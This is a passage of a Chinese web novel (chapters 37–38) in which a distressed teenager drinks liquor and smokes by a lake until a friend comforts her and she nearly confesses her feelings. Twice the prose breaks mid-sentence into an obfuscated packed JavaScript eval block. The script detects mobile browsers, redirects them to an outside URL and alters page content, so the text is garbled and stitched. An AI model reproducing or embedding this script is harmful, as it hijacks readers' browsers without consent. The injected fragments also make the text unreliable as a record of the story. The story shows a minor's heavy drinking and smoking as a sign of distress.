所以我多少有点感激他,想要回报他们,小小年纪就在店里洗碗刷盘子拖地……这些年来没拿过工资,我抱怨过什么? 我这些年来住在这狗窝一样的杂物间里,一个连窗户都没有的地方,我说过什么不满的话了吗? 别的同龄女生忙着学化妆,做美甲,玩护肤SPA……我呢?我的手粗得比砂纸还粗糙,冬天浸泡碗筷的冷水有多刺骨的寒冷,你想过没有? 所以舅舅在骗我。他明明收了你的钱,每个月都收,没有一次落下,他却把我饿得发疯,他和他的家人到头来还要欺负我! 至于你,你也骗我。这些年来我不知道你是死还是活,就好像我不知道逃出去的爸爸至今在哪里漂泊一样。 为什么? 为什么? 我不理解啊。 你没有爱过我吗?你没有爱过爸爸吗?以前一家三口的日子,你脸上的笑容都是装出来的吗? 在我出生的那一刻,你也不曾为我的诞生感到过丝毫的喜悦吗? 如果有的话,如果你确实曾经爱过我的话,为什么后来要这样对我? 你恨爸爸,我是知道的,你恨他毁了你以前的事业,让你成为一个全职主妇。后来爸爸又因为一己之私毁了这个家……说实话,我也恨他。 可是,我什么时候成为你的仇人了……妈妈? 怀揣着这些无法排解、无法思考的人生疑问和痛苦,哭得力竭的宁执玉在床上不知何时昏昏沉沉地睡过去了。 37.物是人非 这一觉宁执玉睡到了第二天的周六清早才被硬生生饿醒,不然估计还能再多睡几个钟头。 坐起来后,她捂着自己神经突突直跳的脑袋,在床铺上坐着发了一会儿呆才总算缓过劲来。 脑袋空空的……心口有个地方依旧痛苦,但是已经不想去思考这些了。 或者说,暂时无力去思考任何复杂的问题。 很快宁执玉就意识到自己今天的状态依旧很差劲,她推开杂物间房门打算出去洗漱刷牙时,发现店里静悄悄的。少了往日会早起散步然后来店里自己煮早餐的外婆身影,反倒是让她有点不适应了。 但没人也好,省得看到她如今的狼狈样。 二楼公共厕所的水龙头里冷水哗哗直流,洗了好久的脸后,宁执玉面无表情地凝视着镜子里那张熟悉又陌生的面庞—— 眼白里满是鲜红的血丝,眼皮浮肿到几乎睁不开,就连平日里消瘦的整张脸今天看来都有点肿肿的。再结合下巴那道陈年而显眼的伤疤来看,一看就是憔悴崩溃得不行,好像是某个琢磨了一晚上准备去哪里砍人的疯子。 ……宁执玉被自己这个突兀的想法给逗笑了。 但是当她看清楚镜子里那人露出了与另外一人当年极为神似的笑容时,那笑容又瞬间消失了。 过了好一会儿,宁执玉才惆怅地对着镜子长叹一声:“她还真没说错。我怎么连笑起来都跟他一样啊……” 少女不再留恋镜中那个过去的影子,转身离开浴室。 几分钟后,随便地穿着那件黑色厚外套以及戴着个一次性口罩的宁执玉出门觅食了。 其实如今是三月中旬,陈水的气温已经有些回暖,穿着这么一件厚外套出门着实有些炎热。但对于今日身心虚弱的老宁而言刚刚好,既不会太热,也不会太冷。 她双手插兜地漫无目的地走在街上,闻着空气中沿街的不同早餐店弥漫出来的香气,一时间却不知道该去哪里。 明明脑子里发出了“好饿”“快点找吃的”之类的生存命令,但身体却又好像按照另外一套事不关己的冷漠逻辑在运转着,仿佛是觉得“饿死也无所谓”…… 人,怎么能那么矛盾地生活呢?宁执玉想不通。 但她觉得今天的自己大概也只能想通“1=1=2”这种可以掰手指来计算的最简单问题,至于其余的事情,根本没办法去思考,也不愿意去想。 算算日子,如今隔壁粿条汤店的张老板一家应该过完年回来、重新开门营业了,宁执玉完全可以去他家蹭个汤粉当早餐。但她一想到那稍显油腻的牛骨汤,就意外地感觉反胃和吃不下去。 不是说她忽然不喜欢那些汤汤水水的食物了,而是今天实在是没胃口正常吃饭。 倘若在熟人面前浪费食物……宁执玉的眼皮郁闷地耷了耷。 思索几秒,最后老宁还是在路边的包子铺随便买了个素菜包和豆沙包,以“咸甜永动机”的方式逼迫自己含糊地往喉咙里塞下去。 她甚至不敢买肉包——怕吃到那么油腻的食物会突然吐出来。 吃完包子后,宁执玉感觉自己身体里总算多出了几分食物摄入所带来的暖意,不算难受,但也没有那么舒服。 此时宁执玉的目光落在了包子铺旁边的便民超市中……她进去转悠一圈,兜里就多了瓶廉价白酒,这让外套口袋瞬间变得鼓鼓囊囊,甚至还冒出一截细长的玻璃瓶身和红色盖子。 至于香烟的话,她出门前在王艺菡给的礼物中随便摸了一包没开封的,也没细看,拿了个店里的打火机和洗干净的塑料烟灰缸就出门了。 ——那么,现在去哪里整两口呢? 这成了当前困扰她的最大问题。 此时的宁执玉不想回烧烤店,更不想去麻烦哪个朋友,在没有搞清楚自己当前的痛苦之前,她哪个熟人朋友都不想去见。 她站在原地费劲地思考了好几分钟,才想起这附近好像有个南湖公园,里头有湖,有栈道,有花花草草,也有休闲椅子。 啊,就去那儿吧。 ………… …… 半个小时后,坐在湖边长椅上吹风眺望湖景的宁执玉看着往来的散步行人和偶尔跑步过去的运动爱好者,成功地再次放空了大脑。 她的右手边放着一瓶拧开盖子,喝了大概四分之一的老白干,而左手边则是放着一个塑料烟灰缸,里面已经插着四五个燃烧殆尽的褐黄色烟头了。 而老宁嘴里还叼着根烧了一半的,烟灰都凝结成肉眼可见的一截,许久没有抖落。 今天阳光很好,湖面平静,吹来的风带着水汽的寒意……这让宁执玉把自己厚外套的兜帽给拉起来,然后继续双目无神地呆坐着。 虽然这样做让那些来公园玩耍的人都不自觉地远离了这个古怪的家伙,就连原本坐在同一张长椅上休息的老大爷都带着孙子赶紧走远。 但一身酒气的宁执玉完全没有注意到这点,失去往日敏锐性的她此刻正茫然地抽着烟,眼眸里倒映着不远处的湖面,显得颇为茫然和空洞。 宁执玉以前在家的时候还小,接触不到酒,反倒是来了陈水以后,她和朋友们聚在一起尝试过几回……最后大家一致觉得啤酒跟马尿没什么区别,大人到底为什么爱喝这玩意儿? 遂失去兴趣。 但是宁执玉今天终于多多少少明白了烈酒的滋味是有多呛人,辣喉,以及喝起来有多么的……解压。 其实“解压”也说不上,顶多是用一种麻木神经的成瘾物来暂时麻痹自己无法发泄的痛楚,等到酒醒之后,宁执玉觉得自己大概会很后悔现在的行径。 但是无所谓了…… 几个小时后的事情,到了那时候再说吧。 原本手机一直被宁执玉握在掌心里,她有点犹豫着要不要叫个朋友出来陪陪自己,就当是来公园散步了。反正现在是周六上午,朋友们多半是有空的。 但是该叫谁呢? 老宁盯着通讯录里那一排熟悉的名字,有些犯难。 自己和父母的事情,当然不能随便跟什么不熟的人讲,鬼知道这些人会不会一转身就去传谣造谣了……而跟那几个好朋友呢? 宁执玉用手指焦躁不安地转动着手机,陷入迟疑的沉思中。 周喜是个彻头彻尾的妈宝女,哪怕如今正值青春期,她跟她妈妈的关系依旧好得不行,这样的朋友恐怕根本不能理解世界上为什么会有母亲恨自己孩子这种事情。 宁执玉之所以会这样思索,并没有指责对方没有同理心的意思。相反,她更希望周喜一辈子都不要接触到这样的事情和道理——周喜是很好的女孩子,她妈妈也是个非常和善的长辈,她们值得用一生来互相爱护对方。 至于王艺菡?那就更不用说了,这姑娘家境富裕,父母长年在外经商漂泊,一家三口只有逢年过节的时候才有机会团圆……在这样渴望亲情团圆氛围中长大的小富婆,你跟她说什么“我妈恨我”这种话,她多半也只会同情而怜悯地打出一个问号,然后再拍拍老宁的肩膀说别管那些了,走我们去吃一顿好的! 老王确实人很好,对朋友们也大方义气,但她给出的解决方案不是宁执玉最想要听到的。 而赵颖,那个人可能真的能多少听得懂宁执玉在说什么,也能真切地理解这份来自至亲所施加的痛苦。 但正因如此,老宁反而不想将自己的痛苦再分摊给这个朋友。 无论她如今是否暗恋人家。 老赵自己今年流年不利,被家里人按着脑袋押去住校、最好的朋友马上要出国、许诺的新家独立房间化为泡影、诡异而微妙的宿舍人际关系……这些破事,宁执玉听完都觉得头疼无比,更何况是当事人本身? 所以她思来想去,还是决定不去问赵颖有没有空出来了。 “唉。”宁执玉收起了在风中冻得外表冰凉的手机,将嘴里的烟拿下来在烟灰缸边缘敲了敲,抖落烟灰后才重新塞回嘴里继续叼着。 老王买的这个外烟不知道是什么牌子,又辣又呛人,但这正好符合了宁执玉今天糟糕透顶的心情,她刚开始抽的时候还会时不时咳嗽几声,现在已经在烟草的气息包裹中变得麻木而适应了。 在湖边的长椅上,宁执玉继续坐在这儿晒太阳,看着风景和往来行人,时不时喝两口,抖抖烟灰,或者再重新点燃一根新的烟。 她感觉自己在这一刻好像变成了一株植物,不需要再去考虑学业、家庭、监护人、现实等一系列乱七八糟的事情,只要负责静静地晒太阳和吹风就好了。 也不知道过去了多久,可能五分钟,也可能半个小时。 有一只模样有点丑萌的土黄色小狗忽然闯入宁执玉低垂的视野,它脖子上系着红色的塑料项圈和牵引绳子,整只狗瘦弱而呆萌地一路嗅着地上的气味走过来……最终跑到宁执玉的面前看了一会儿,开始蹭蹭这人的鞋面和裤腿。 有点醉意在身的宁执玉困惑地眨了眨眼睛,感觉这只狗好像在哪里见过。 直到小狗蹲坐在地上开始跟她亲近,宁执玉才恍然大悟地笑道:“你长得好像‘小赵’哦……” 她的目光顺着牵引绳的方向抬起头,看见了站在长椅旁,一手牵绳一手揣兜里的赵颖。 宁执玉:? 原本因为在南湖公园遛狗时意外见到朋友而不自觉面露笑意的赵颖在看清楚老宁此刻的狼狈模样时,脸上的笑容瞬间消失,取而代之的是震惊与慌乱:“卧槽!老宁!咱们只是一周不见,你怎么把自己搞成这样了——” 被酒精所麻痹的脑子终究是有点反应缓慢,宁执玉过了好几秒才“啊?”了一声,不太明白老赵为什么露出这副天塌下来的表情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336073|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时间,赵颖也顾不上遛狗了,径直坐在长椅上,随后担忧地伸手去摸宁执玉的脸颊和额头。 此刻大脑不知道在想什么的宁执玉傻乎乎地没有躲避,只是耷拉着眼皮,任人对自己上下其手。 “好烫……你在发烧?”赵颖惊悚地问。 “什、什么?不可能。”宁执玉摆摆手,懒散地笑着拿起一旁已经喝了一半的白酒,“是这个的作用吧?” 赵颖眉头深深地皱起,一把夺过这晃荡着酒水的玻璃瓶子,读出了上面的标签文字:“‘江津老白干’……52°,480毫升?而你居然喝了一半?疯了吗!” 虽然赵颖说话貌似很冲,但她的神态里透着明显的担忧和关心。 宁执玉只是笑笑,身子往后一瘫,不说话了。 随着宁执玉的身体后仰,老赵也顺势看见了这人另外一侧的那个烟灰缸和里面六七个烟头。 赵颖登时呆若木鸡。 怎么会有人出门抽烟还特意带个烟灰缸……不对,这不是重点。 “宁执玉,你居然不遵守‘一天最多一支烟’这个行为准则了?” 她大惊失色,意识到老宁这个平日里自律又克制的友人绝对是遇到了什么要命的大事才会变成这个崩溃狂抽烟喝酒的鬼样子。 “哈哈哈,准则这种东西就是用来打破的嘛。”宁执玉嬉皮笑脸地举起自己的烟盒递过去,“朋友,来一根?” “我不想抽。你也别再抽了!”赵颖惊怒交加地一把将这半盒香烟夺走,攥在自己手心里,“你平时就抽一根,现在突然抽那么多……等会儿怕不是要头疼到吐出来的!” “这样吗?”宁执玉挠挠额头,无所谓地笑着,“吐你身上的话,你会不会生气啊?嘿嘿。” 赵颖:“……” 她呆滞地看着老宁这个罕见的傻逼模样,感觉这家伙是真的脑子不在线了。 “不会。”老赵的表情骤然软了下来,她怜悯地看着稀里糊涂说胡话的友人,“我跟一个醉鬼计较什么?再说了,你要是真能吐出来,说不定还没那么难受呢。” “嗯,老赵你真好~” 宁执玉一边傻笑着说,一边信手拿起老白干准备再给自己灌两口——然后这半瓶酒也被赵颖黑着脸没收了。 见此状况,宁执玉一下子就变脸了,她皱着眉头,说话都有点大舌头了:“你……你干嘛啊!去遛你的狗呗,管我做什么?” 哦对,还有狗! 赵颖看看周围的环境,觉得挺适合狗狗自由活动的,于是俯身给小狗解开了脖子上的牵引绳,让它别乱跑,就在附近的草坪上玩耍就行。 倚在椅背上的宁执玉也没有趁机去把自己的酒和烟偷回来,只是一味地继续瘫坐在椅子上发笑:“小心待会它掉湖里哈。” “狗才没有那么傻。”赵颖无奈地说。 说罢,她看向眼神空洞的宁执玉,小心翼翼地问道:“老宁,你现在感觉还好吗?” “……” 宁执玉歪着头看了赵颖好几秒,毫无征兆的,她的热泪倏然扑簌簌地流下来。 “不好。”宁执玉脸上所有玩闹般的表情都如同潮水般褪去了,只留下近乎荒芜的茫然与痛苦,“我很不好,赵颖。” 没人能在这样毫不掩饰的痛苦面前毫不动容,更何况是身为好友的赵颖。她格外难过地看着宁执玉,却不知道该怎么帮助这个朋友。 “……对不起。”宁执玉忽然意识到自己失态了,她慌忙抬手捂住了自己的眼睛,将脸扭到一边去,“我不该说刚才那句话的。你当我……你让我缓缓,我缓一下,就好了。” 头脑在醉酒的昏沉与剧烈的痛苦中徘徊着,宁执玉残留的理智驱使着她再说点什么辩解安抚朋友的言论,但貌似不需要了。 因为赵颖已经主动探过身来,格外沉默地伸出双臂,紧紧地搂住了这个醉酒朋友的肩膀,动作生涩却又稍显强硬地将后者的脑袋一把摁在自己的肩上。 宁执玉的身体一下子僵住了。 然而她很快听见头顶传来赵颖沉重的叹息,她用着一种宛若哄赵子璇那样的语气轻柔地说:“虽然不知道你发生了什么事情,老宁你平时也跟个石头似的油盐不进……但你现在想哭就哭吧。我不会笑话你,也不会跟别人讲今天的事。” 听到这句话,宁执玉似乎许久都没有什么反应。 可是只有赵颖很清楚此刻的宁执玉正在为了缓解情绪而深深地呼吸着,在幅度剧烈的喘息起伏中,她甚至能够轻而易举地看到对方那明显颤抖的背脊。 与此同时,有温暖的湿意很快打湿了赵颖的肩膀衣服布料。 赵颖:“…………” 天哪,她认识这个朋友足足五年了,头一回见到宁执玉这人居然也会哭成这样。 果然还是天塌了吧? 38.来年再见吧 哭过一场后,宁执玉的情绪反而好很多了,人也清醒了不少。虽然她用掉赵颖随身携带的一包纸巾,但好歹看起来不再那么憋得慌。 这人表情沉默地坐在长椅上,望着湖面,双手十指交织地陷入不知道是沉思还是发愣的状态。 赵颖不放心这个醉酒朋友此刻的状态,因此也就没有再想着什么遛狗的事情,时不时扭头往草坪方向看一眼确认自家小狗还在附近玩耍后就放心下来,陪着老宁继续坐在这儿看风景。 过了好几分钟后,宁执玉吸了吸鼻子,鼻音浓厚地问她:“你今天怎么出来了?我以为你还在学校宿舍。” “这个呀。”赵颖的视线往天空飘了飘,认真回想道,“本来周五放学后我是没打算回家的,但是快递员打电话说疫苗送到了。我不放心让阿姨他们来处理,就干脆昨晚就回家了。” 宁执玉愣了一会儿,忽然问:“什么疫苗?” 赵颖顿时惊了。 她扭头看向一脸茫然的老宁,确认这家伙脑子真的落在烧烤店里忘记带出来了,只好无奈地提醒:“狗的疫苗呀,你之前说过你会帮忙的……还记得吗?” 宁执玉的眼皮往上撩了一下,骤然发出了一声恍然大悟的声音:“哦!我是说过要帮你家狗打针的!” “天哪。”但是赵颖看着老宁这个从未见过的鬼样子,只觉得一阵无法形容的担忧。 她已经暂时不担心疫苗由谁来打了,实在不行就找宠物医院的医生出个人工费吧? 老赵现在更担心宁执玉这幅失魂落魄的沮丧状态还要持续多久。 还好,老宁对自己目前的糟糕状态还算是有个比较清晰的自我认知:“我现在……不太方便,你先把疫苗放冷藏保存,过两天再说吧。” 赵颖也不急,点点头:“好。” 停顿了一下,赵颖继续解释她今日为何会出现在这个公园的原因:“这不,早上阿姨叫我来遛狗,我就带着它出门了……想着这边空气好一点,就带它来玩玩。” 低垂着脑袋的宁执玉沉默地听着,有点尴尬地抓了抓自己的脖子皮肤,她也没想到自己明明没有通知任何一个朋友,但有的时候就是那么巧——还能说陈水还是太小了,往行人堆里扔块石头都能砸到个熟人啥的。 赵颖见她不说话,索性主动开口:“老宁,你早上有没有吃点东西?” 这人一大早又是烟又是酒的,倘若肚子里没点东西垫一下,多半要难受的。 宁执玉乖乖回答:“吃了。” “所以你……”赵颖犹犹豫豫的,想要发问却又怕得到一个拒绝的答案,“你到底怎么了?” 由于为了帮舅舅处理外婆的后事,宁执玉请了足足一周的事假,所以她和赵颖这些朋友之间也确实隔着一周没见过面了。 听到这个问题,宁执玉的嗓子莫名发痒,忽然很想再抽一根,于是她有话直说地伸手:“再给我一根?我保证,最后一根。” “不行——你自己听听,现在说话都是哑的。”赵颖一下子变得很严厉。 嗓音哑哑的老宁显得有点委屈:“你平时最喜欢劝我要不要来多一根的……” “那是逗你玩。”赵颖没好气地把脸转开,不想去看这家伙那好像受自己欺负一样的可怜表情。 宁执玉叹了口气,也不知道是为了平时被朋友逗弄的自己而可怜,还是因为抽不到“最后一根烟”而感到郁闷。 她从裤兜里掏出自己的手机,手指有点颤抖,按了好几次指纹解锁才算是打开这台手机,然后开始一声不吭地翻历史相册。 赵颖:“……” 她用眼角的余光偷偷打量着面无表情翻查照片的老宁,过了好几分钟后,她才倍感无奈地把那个被没收的烟盒推回去。 “实在难受就抽吧!看你这样子,我心里也跟着难受……但是最多只能抽一根啊,你自己说的。” 完全没想到老赵会归还烟盒的宁执玉诧异地看了她好几秒,倏然笑起来,只是这个笑容在她如今狼狈惆怅的脸上显得格外怪异:“我现在又不想抽了。请你吧。” “真的?”赵颖难以置信地问,“我不会客气的。” “对,别客气。” 宁执玉低下头去手机相册里继续找照片,赵颖不知道这人的葫芦里在卖什么药,只好自顾自地点了一根,吸了两口,多少有点被呛到,发出了“好辣!”的同款评价。 还好,老宁最后还是找到了想要找的那张照片,她沉默而不舍地注视着手机屏幕许久,就像是注视着一段过往的美好日子。 有点好奇的赵颖虽然很想探头过去看看,但也知道这是朋友的个人隐私,只是静静地抽烟晒太阳,没有乱瞧乱看。 然而宁执玉下一秒把自己的这台老旧智能手机主动递给赵颖——这手机还是三年前的老款苹果,是舅妈去年淘汰下来后送给老宁的。当然,主要也跟舅妈的两个宝贝儿子都不想要这台老手机有关系。 “来,给你看看。我以前存在企鹅空间,上了锁,后来有了手机就下载回来。” 嘴里含着烟的赵颖很快发现这是一张本该是现实中的相框照片,但被人匆匆用手机拍了下来……或者别的什么摄影设备,反正有点模糊,显得陈旧和明显色差。 早年智能手机还不像现在那么流行,大家都是用的老式按键手机和滑盖手机,因此赵颖也说不好具体是用什么设备拍的这张照片。 然后宁执玉说道:“你看看上面这个男的,跟我像不像?” 听闻此言,赵颖的眼睛微微睁大了。她忽然意识到什么,仔细查看起来,发现是一家三口在某个乐园城堡面前拍的照片。 照片里的两个成年人看着都颇为年轻,妻子端庄美丽,丈夫长得也秀气斯文,戴着一副眼镜,像个读书人的模样。快门摁下的时候,他正抬手搂着身旁同为笑容满面的妻子肩膀。 站在父母中间的那个孩子约莫才五六岁的模样,穿着一身粉色的公主裙,头上戴着米O鼠同款的圆耳朵发箍,咧嘴笑得特别开心,简直是都快看不见眼睛了。 而两个穿着乐园标志性玩偶服的大朋友则是在旁边兴高采烈地抬起手,摆造型,大伙儿一起合影,像是要将快乐永远定格在那一刻。 赵颖拿着手机,抬头看了一脸淡然的宁执玉两眼,然后又用另一只手抬起在半空中遮住她下巴上的那道伤疤,再三认真核对照片后,神色微动。 “哇……”赵颖一时间很难形容自己此刻的复杂心情,“真的很像!简直就像是性转后成年版还没有混社会的你啊。” “这什么鬼形容?”宁执玉虽然对此早有预料,但真听到时还是忍不住眼角抽搐。 赵颖嘿嘿一笑。 将手机还给老宁后,赵颖小心地问:“所以这是老宁你小时候?挺可爱的。” 赵颖敏锐地注意到照片上的小宁同学那会儿还没破相。 “嗯,六岁生日那天去香港的迪O尼乐园拍的。”宁执玉随手收起手机,脸上没有任何波澜,仿佛在述说着一个陌生人的事情,“我爸妈带我去的,他们还跟乐园提前花钱预约了相关的生日活动,除了有乐园玩偶合照,还有别的庆祝项目……那次玩得真的很开心。” 可她此刻的表情可不像是“很开心”这几个词的写照。 “……”,其实这辈子还没去过那家大名鼎鼎乐园的赵颖没有急着说话,因为她已经察觉到宁执玉说出这话时底下所隐藏的悲伤和痛苦情绪,就宛若地下奔涌的暗河一般。 虽然赵颖根本搞不明白为什么老宁突然谈及过往一直刻意躲避的父母双亲话题,也不明白为什么她会给自己看小时候的全家人合影,这些陈年旧谷子的事情与她今日的异状到底有什么关联……但作为朋友,有时候只要负责默默地倾听和陪伴就够了。 反正赵颖是这样想的。 此时那只小土狗终于玩累了,哼哼唧唧地走到两人的脚边趴下,赵颖弯腰摸了摸它柔软热乎的皮毛,寻思着如果让宁执玉也来撸狗的话她会不会心情好点。 “你要不要摸摸狗?” “……来吧。” 接下来宁执玉安静地摸了一会儿热乎乎的小狗,眼看狗都舒服地瘫软在地露出肚皮了,她反而又闭口不谈了。 等她重新坐起身,便长久地凝视着泛着波光的湖面,脸上所有的混乱和脆弱表情都慢慢地消失了,取而代之的是那种仿佛是与生俱来一般坚韧的决心。 “赵颖。”宁执玉忽然直呼朋友的名字,“我接下来要去做一件很重要的事。” 赵颖呆了呆:“什么事情?有多重要?” “目前具体还不知道。”宁执玉淡淡地说,“但对我而言,可能会比高考还重要。” 此言一出,老赵是彻底被吓到了!她可是知道宁执玉有多热爱学习,又有多么盼望着通过高考的方式离开这座小县城。 ——世界上居然还有事情比高考还重要!? 真是天都塌了。 老赵搜肠刮肚了好一会儿,方才想出一个惊悚的可能性,结结巴巴地问:“你、你要去结婚了?” 宁执玉:? 她专注看风景的视线终于转向一旁的赵颖,透着浓浓的困惑之意:“啥玩意儿?结婚?我??” 见朋友露出这幅愕然神情,赵颖顿时松了口气:“你这不是下周就是生日了嘛……生日一过,你就是十八岁了。所以我……你又说但那么严重,我就以为……” “啊,是啊,我知道。快成年了。”宁执玉哑然失笑,说话间嗓子还沙哑地咳嗽了两声,“你放心地给我准备好生日礼物就行。” 听她这么说,赵颖根本不可能完全放心:“所以你真的要去结婚?” “神经病,我跟谁结啊。”老宁耷拉着眼皮斜视这个满脑子奇思妙想的朋友。 赵颖尴尬地笑了两声:“我以为你舅舅他们迫不及待地把你给卖了……” 这种逼迫刚成年女孩去结婚的陋习在某些经济落后的地区的确存在。 赵颖说这话的本意只是开玩笑,缓和一下气氛,然而宁执玉的脸上浮现出格外冷淡的嘲讽之意:“我要是明年不考出去,他们估计还真会把我卖给某个老男人收结婚彩礼。” “……我嘞个去!” 今年尚处于十六岁末尾的赵颖想了一下那个画面就觉得很恐怖,根本想象不出宁执玉是怎么嫁给一个年纪能给她当爹的老男人这种事。 于是赵颖当即大力地拍着老宁的手臂,满脸的义愤填膺:“那你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346950|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加油啊!千万不能考砸了!” 宁执玉翘了翘嘴角。 “放心。”宁执玉慢悠悠地安抚着满脸不安的老赵,“真要是不幸考砸了,我拿上证件拔腿就跑,找个地方打工去……咱们国家那么大,他们别想轻易找到我。” “喔,那确实是你的作风。” 赵颖彻底放松下来。虽然她稀里糊涂地陪人聊到现在,还是不知道老宁和她的家人们之间发生了什么事情,但她能够感觉到眼前的朋友多少算是重新振作起来了。 赵颖思来想去,还是按捺不住好奇心,问这个成天说谜语的朋友:“话说回来,宁执玉你要做的大事是什么?” 宁执玉:“骗钱。” 赵颖人也快麻了:“啊?” “钱在哪里,爱就在哪里。”老宁神神叨叨地解释了两句,又好像什么都没说,最后也只是说,“放心吧,就算我未来真的骗钱去了,我依旧是个奉公守法的好公民。” “你最好是……”赵颖半信半疑地叹了口气。 两人又坐了一会儿,随便聊了聊这一周学校里的各种话题,主要是赵颖讲,宁执玉在听。 讲到最后口干舌燥的赵颖问她:“你现在感觉咋样?心情好点没。” 宁执玉没有急着回答,只是掏出手机看看时间,才发现自己在这儿晒了超过两个小时的太阳……于是她说:“好多了,我们走吧。” “好啊。”老赵顿时松了口气。 然而不知是不是坐久了的缘故,宁执玉站起来时身子猛地晃了一下,还好赵颖时刻关注着这个刚刚还在痛饮老白干的朋友,一把搀扶住她的手臂并且说道:“反正不远,我和狗一起送你回烧烤店吧。” 老宁本来想拒绝的,但是赵颖难得强硬地跟她讲了个隔壁邻居在醉酒后摔倒在楼下台阶、以至于大腿骨折的凄惨故事。 “你也想在刚刚成年的时候迎接一场骨折吗?”赵颖有点不怀好意地笑着问。 宁执玉闭嘴了。 她是心情不好,不是脑子真没了。 于是两人一狗就慢悠悠地往烧烤店的方向走,平时二十来分钟的路程,愣是走了将近四十分钟。 主要是宁执玉走到后面酒劲上来了,整个人都软了,几乎是半倚在朋友身上被拖着走。赵颖本来想打车送她回烧烤店的,但是老宁坚决反对,不肯再让朋友破费……所以两人只好满头大汗地走走停停,时不时在路边坐一会儿缓缓醉意。 随着越来越接近熟悉的街道店铺,这个时候,宁执玉心中萌生出一个非常大胆的疯狂想法。 ——她想要跟赵颖表白! 不知道是酒精上头的影响,还是这两日发生太多冲击力强的事情,宁执玉真的很想找一个可以完全信任的人向她毫无保留地阐述自己的事情。 像是刚才她顾及着朋友的心情和所处境地,不愿意讲太多负能量的东西,只是稍微聊了聊一些过去的事情,说得还算是隐晦。可是如果对方是恋人的话……就能坦然地说出来了吧? 眼看走过了最后一个红绿灯,“徐记烧烤店”再拐个弯就能看到,宁执玉昏昏沉沉地开口了:“那……那啥!赵颖,有个事儿。我憋了很久了……” 赵颖不解,扭头看向眼睛半睁半闭的宁执玉,茫然道:“我听着呢,你说?” “我……” 宁执玉正要开口说出那句话,但是她脑子里残留的最后一点理智化作惊雷般的声音咆哮起来—— 说什么说,宁执玉你这个白痴!你有什么资格现在跟人赵颖说这话? 你那是表白吗?你只是想随便抓个救命稻草罢了! 如果今天来公园散步的是周喜,是王艺菡,甚至是梁星……你是不是也要跟人表白啊? 功利,太功利了! 出于这种环境下说出的“表白”和爱意,你真的喜欢赵颖吗? 你好好想想,你这身无分文的穷鬼学生,爹失踪妈不爱的可怜虫,要钱没钱,要长相还破相了,监护人一家还算计压榨你! 你凭什么——凭什么在这个人生最低谷的时候向别人伸出感情的枝蔓? 你甚至还搞不清楚赵颖的性取向,万一人家是直的,喜欢男生呢? 那你的这番贸然言论除了给双方造成巨大的麻烦之外,还能有什么效果?搞不好你俩要彻底绝交! 可耻啊,老宁,真是丢人,闭嘴吧你。 等你真的确定自己有爱别人的能力和条件后,处理完自身的麻烦事,再去说这种话吧!! 站在路边的赵颖一直在等朋友开口说话,然而等来等去,就看见表情呆滞的宁执玉陡然间又哭了。 两行清泪刹那间涌出眼眶,宁执玉哭得泪流满面,被自卑和痛苦攥紧了心脏,偏偏这一刻大概只有苍天才能知道她心里有多羞愧。 心思单纯的赵颖又傻眼了:“怎么了这是?!” “对、对不起。”宁执玉哽咽着低下头,捂着脸道歉,然后随便找了一个超烂的借口,“但……我是不会把我的微信支付密码告诉你的!” 赵颖:??? 谁会把支付密码到处乱讲啊?真是醉了。她无奈而宽容地想。 但宁执玉这人哪怕是这幅笨笨的样子……也很可爱。